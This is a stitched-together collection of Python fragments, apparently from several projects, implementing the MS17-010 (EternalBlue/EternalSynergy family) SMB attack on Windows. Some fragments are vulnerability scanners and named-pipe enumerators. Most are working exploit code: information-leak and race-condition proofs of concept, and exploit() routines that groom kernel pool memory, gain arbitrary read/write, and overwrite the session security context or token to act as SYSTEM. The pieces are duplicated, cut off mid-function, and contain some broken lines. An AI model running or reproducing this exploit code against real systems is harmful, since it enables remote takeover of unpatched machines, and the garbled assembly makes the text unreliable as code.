because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] logger.info('CURRENT TOKEN ADDR: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) logger.action('OVERWRITING TOKEN UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) logger.action('OVERWRITING SESSION SECURITY CONTEXT') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ # try: smb_pwn(conn, info['arch']) # except: # pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012. NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it. ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = 'lsarpc' conn = MYSMB(target) conn.login(USERNAME, PASSWORD) smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() dce.connect() conn.set_default_tid(conn.get_last_tid()) fid = conn.get_last_fid() dce.bind(lsat.MSRPC_UUID_LSAT) # send LsarGetUserName without getting result so there are data in named pipe to peek request = lsat.LsarGetUserName() request['SystemName'] = "\x00" request['UserName'] = "******"*263+'\x00' # this data size determines how many bytes of data we can leak
def consume(q): while (True): target = str(q.get()) res = "" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Check if 445 is open if sock.connect_ex((target, 445)) == 0: # Try to create a SMB connection try: conn = MYSMB(target) except: res += "{:<15}".format(target) + "\n" print res, q.task_done() continue # Try to authenticate try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: res += "{:<15}".format(target) + " " + "Unauthorized" + "\n" print res, q.task_done() continue finally: s = conn.get_server_os() res += '{:<50} '.format(s[:50]) try: tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES res += "NOT patched " else: res += "patched" res = Style.BRIGHT + Fore.BLUE + "{:<15}".format( target) + " " + res + Style.RESET_ALL + "\n" print res, q.task_done() continue except: res += "{:<15}".format(target) + "\n" print res, q.task_done() continue found = False for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) res += Fore.GREEN + '{:<8} (64) '.format( pipe_name[:8]) + Style.RESET_ALL found = True except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): res += Fore.GREEN + '{:<8} (32) '.format( pipe_name[:8]) + Style.RESET_ALL found = True else: res += Fore.GREEN + '{:<8} (??) '.format( pipe_name[:8]) + Style.RESET_ALL found = True dce.disconnect() except smb.SessionError as e: res += Fore.RED + '{:<8} DENY '.format( pipe_name[:8]) + Style.RESET_ALL except smbconnection.SessionError as e: res += Fore.RED + '{:<8} DENY '.format( pipe_name[:8]) + Style.RESET_ALL conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() if not found: res = Fore.RED + "{:<15}".format( target) + " " + res + Style.RESET_ALL + "\n" print res, q.task_done() continue res = Fore.GREEN + "{:<15}".format( target) + " " + res + Style.RESET_ALL + "\n" print res, q.task_done() continue res += "{:<15}".format(target) + "\n" print res, q.task_done()
def ms17_010(target): try: logger.info('Attempting to connect to: {}'.format(logger.BLUE(target))) conn = MYSMB(target, timeout=5) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: logger.error('Login failed, got error: ' + logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])) sys.exit() finally: logger.info('Found target OS: ' + logger.BLUE(conn.get_server_os())) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target))) else: logger.error('{} IS PATCHED!'.format(logger.RED(target))) sys.exit() logger.action('Looking for the named pipes...') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) logger.success('{}: OK (64 bit)'.format(logger.GREEN(pipe_name))) except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): logger.success('{}: OK (32 bit)'.format(logger.GREEN(pipe_name))) else: logger.success('{}: OK ({})'.format(logger.GREEN(pipe_name), str(e))) dce.disconnect() except smb.SessionError as e: logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0]))) except smbconnection.SessionError as e: logger.error('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0]))) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except (KeyboardInterrupt, SystemExit): logger.error('Keyboard interrupt received..') sys.exit(-1) except: logger.error('Connection failed to: {}'.format(logger.RED(str(target))))
Note: - this PoC only support lsaprc named pipe - this method works against only Windows<8 ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = 'lsarpc' conn = MYSMB(target) conn.login(USERNAME, PASSWORD) smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() dce.connect() conn.set_default_tid(conn.get_last_tid()) fid = conn.get_last_fid() dce.bind(lsat.MSRPC_UUID_LSAT)
Note: - this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) # if share name is disk, the race is easier to win because there are more operation to do after InData is modified tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) def nsa_race(conn, jmp_addr): setup = pack('<H', 5) # QUERY_PATH_INFO # set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename mid = conn.next_mid() # we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
def main(args): pipes = DEFAULT_PIPES username = "" password = "" if args.username: username = args.username if args.password: password = args.password if args.wordlist: pipes = [] with open(args.wordlist, "r") as f: for name in f: pipes.append(name.rstrip()) print("[*] finding named pipes for: {}".format(args.target)) conn = MYSMB(args.target) conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) conn.login(username, password, maxBufferSize=4356) tid = conn.tree_connect_andx("\\\\" + conn.get_remote_host() + "\\" + "IPC$") for pipe in pipes: try: fid = conn.nt_create_andx(tid, pipe) conn.close(tid, fid) print("\x1b[0;32;40m[+] {}\x1b[0m".format(pipe)) except smb.SessionError as e: print("\x1b[0;31;40m[-] {}\x1b[0m".format(pipe)) continue conn.disconnect_tree(tid)
- this PoC only support lsaprc named pipe - this method works against only Windows<8 ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = 'lsarpc' conn = MYSMB(target) conn.login(USERNAME, PASSWORD) smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() dce.connect() conn.set_default_tid(conn.get_last_tid()) fid = conn.get_last_fid() dce.bind(lsat.MSRPC_UUID_LSAT) # send LsarGetUserName without getting result so there are data in named pipe to peek request = lsat.LsarGetUserName() request['SystemName'] = "\x00" request['UserName'] = "******"*263+'\x00' # this data size determines how many bytes of data we can leak
def worawit(target): try: try: conn = MYSMB(target, timeout=5) except: logger.red('Unable to connect to [{}]'.format(logger.RED(target))) return False try: conn.login(USERNAME, PASSWORD) except: logger.red('Failed to authenticate to [{}]'.format( logger.RED(target))) return False finally: try: OS = conn.get_server_os() except Exception as e: logger.red(str(e)) return False tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.green('[%s] VULNERABLE' % logger.GREEN(target)) vulnerable[target] = [] else: logger.red('[%s] PATCHED' % logger.RED(target)) pipes_found = [] for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) try: pipes_found.append(pipe_name) except: pass except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): try: pipes_found.append(pipe_name) except: pass else: try: pipes_found.append(pipe_name) except: pass dce.disconnect() vulnerable[target] = pipes_found except smb.SessionError as e: continue except smbconnection.SessionError as e: continue conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except KeyboardInterrupt: logger.red('Keyboard interrupt received..') quit()
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: ' + server_os) if server_os.startswith("Windows 7 ") or server_os.startswith( "Windows Server 2008 R2"): info.update(WIN7_INFO) elif server_os.startswith("Windows 8") or server_os.startswith( "Windows Server 2012 ") or server_os.startswith( "Windows Server 2016 "): info.update(WIN8_INFO) else: print('This exploit does not support this target') sys.exit() # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) if 'FRAG_POOL_SIZE' not in info: leak_frag_size(conn, tid, fid, info) reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: #break print('leak failed... try again') conn.close(tid, fid) conn.disconnect_tree(tid) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift trans1.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info[ 'SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary( mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') sys.exit() print('success controlling groom transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] # modify trans_special.InData to &trans1 conn.send_nt_trans_secondary( mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InData to &trans2. so we can modify trans2 easily conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult. print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn) except: pass # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return True
def __is_vulnerable(self, target): s = socket(AF_INET, SOCK_STREAM) s.settimeout(3) result = s.connect_ex((target, 445)) is_succ = False os = '' if (result == 0): conn = MYSMB(target) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: Logger.warn('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) finally: Logger.info('Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES Logger.info('The target is not patched') for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) Logger.info('{}: Ok (64 bit)'.format(pipe_name)) is_succ = True except DCERPCException as e: if 'transfer_syntaxes_not_supported' in str(e): Logger.info('{}: Ok (32 bit)'.format(pipe_name)) is_succ = True else: Logger.info('{}: Ok ({})'.format(pipe_name, str(e))) is_succ = True dce.disconnect() except smb.SessionError as e: Logger.warn('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0])) except smbconnection.SessionError as e: Logger.warn('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0])) os = conn.get_server_os() conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() s.close() return {'os': os, 'result': is_succ}
Note: - this PoC only test against Windows 7 x64 - all SMB request parameter is copied from capture network traffic ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) # our buffer size is 4356 bytes # transaction with large reply will be splitted to multiple response conn.login(USERNAME, PASSWORD, maxBufferSize=4356) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 # the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup for i in range(10): conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) mid_ntrename = conn.next_mid()
def exploit(target, pipe_name): conn = MYSMB(target)
def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: ' + server_os) if server_os.startswith("Windows 7 ") or server_os.startswith( "Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith( "Windows Server 2012 ") or server_os.startswith( "Windows Server 2016 ") or server_os.startswith("Windows 10"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008" ) or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: print('This exploit does not support this target') sys.exit() if pipe_name is None: pipe_name = find_named_pipe(conn) if pipe_name is None: print('Not found accessible named pipe') return False print('Using named pipe: ' + pipe_name) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data( conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data( conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0] print('current TOKEN addr: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40 * info['PTR_SIZE']) userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0] userAndGroupsAddr = unpack_from( '<' + fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0] print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount)) print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr)) print('overwriting token UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups( conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr + info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount)) write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) else: # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn, info['arch']) except: pass # restore SecurityContext/Token if 'PCTXTHANDLE_TOKEN_OFFSET' in info: userAndGroupsOffset = userAndGroupsAddr - tokenAddr write_data( conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)]) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr + info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount)) else: write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(conn.get_tid()) conn.logoff() conn.get_socket().close() return True
import sys ''' PoC: demonstates leaking information from uninitialize buffer ''' USERNAME = '' PASSWORD = '' if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] conn = MYSMB(target) conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # create NT_TRANS_RENAME (5) request mid = conn.next_mid() conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A' * 0x1000, totalDataCount=0x8000)
pipes = { 'browser': MSRPC_UUID_BROWSER, 'spoolss': MSRPC_UUID_SPOOLSS, 'netlogon': MSRPC_UUID_NETLOGON, 'lsarpc': MSRPC_UUID_LSARPC, 'samr': MSRPC_UUID_SAMR, } if len(sys.argv) != 2: print("{} <ip>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] conn = MYSMB(target) try: conn.login(USERNAME, PASSWORD) except smb.SessionError as e: print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) sys.exit() finally: print('Target OS: ' + conn.get_server_os()) tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') conn.set_default_tid(tid) # test if target is vulnerable TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff,
def run(target): try: try: logger.verbose('Attempting to connect to %s' % logger.BLUE(target)) conn = MYSMB(target, timeout=5) logger.verbose('Successfully connected to %s' % logger.BLUE(target)) except Exception as e: logger.red('Failed to connect to [{}]'.format(logger.RED(target))) logger.verbose('Got error whilst connecting: %s' % logger.BLUE(str(e))) return False try: # login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None) # can add passthehash at some point logger.verbose('Attempting to authenticate to %s' % logger.BLUE(target)) conn.login(username, password, domain) logger.verbose('Successfully authenticated to %s' % logger.BLUE(target)) except Exception as e: logger.red('Failed to authenticate to [{}]'.format( logger.RED(target))) return False try: logger.verbose('Attempting to get OS for %s' % logger.BLUE(target)) OS = conn.get_server_os() logger.verbose('Got Operting System: %s' % logger.BLUE(OS)) except Exception as e: logger.verbose('Got error whilst getting Operting System: %s' % logger.BLUE(str(e))) logger.red('Failed to obtain operating system') try: tree_connect_andx = '\\\\' + target + '\\' + 'IPC$' logger.verbose('Attempting to connect to %s' % logger.BLUE(tree_connect_andx)) tid = conn.tree_connect_andx(tree_connect_andx) conn.set_default_tid(tid) logger.verbose('Successfully connected to %s' % logger.BLUE(tree_connect_andx)) except Exception as e: logger.verbose('Got error whilst connecting to %s: %s' % (tree_connect_andx, logger.BLUE(str(e)))) return False # test if target is vulnerable logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target)) try: TRANS_PEEK_NMPIPE = 0x23 recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800) status = recvPkt.getNTStatus() if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES logger.green('[%s] VULNERABLE' % logger.GREEN(target)) vulnerable[target] = [] else: logger.red('[%s] PATCHED' % logger.RED(target)) except Exception as e: logger.verbose( 'Got error whilst checking vulnerability status %s' % logger.BLUE(str(e))) return Falses pipes_found = [] if target in vulnerable: logger.verbose('Checking pipes on %s' % logger.BLUE(target)) for pipe_name, pipe_uuid in pipes.items(): try: dce = conn.get_dce_rpc(pipe_name) dce.connect() try: dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax) try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s' % logger.BLUE(str(e))) pass except DCERPCException as e: logger.verbose('Got error whilst binding to rpc: %s' % logger.BLUE(str(e))) if 'transfer_syntaxes_not_supported' in str(e): try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)' % logger.BLUE(str(e))) pass else: try: pipes_found.append(pipe_name) except Exception as e: logger.verbose( 'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)' % logger.BLUE(str(e))) pass except Exception as e: logger.verbose('Got error whilst binding to rpc: %s' % logger.BLUE(str(e))) pass finally: dce.disconnect() vulnerable[target] = pipes_found except smb.SessionError as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue except smbconnection.SessionError as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue except Exception as e: logger.verbose( 'Got SMB Session error whilst connecting %s' % logger.BLUE(str(e))) continue try: conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() except Exception as e: logger.verbose('Got error whilst disconnecting from rpc %s' % logger.BLUE(str(e))) pass except KeyboardInterrupt: logger.red('Keyboard interrupt received..') quit()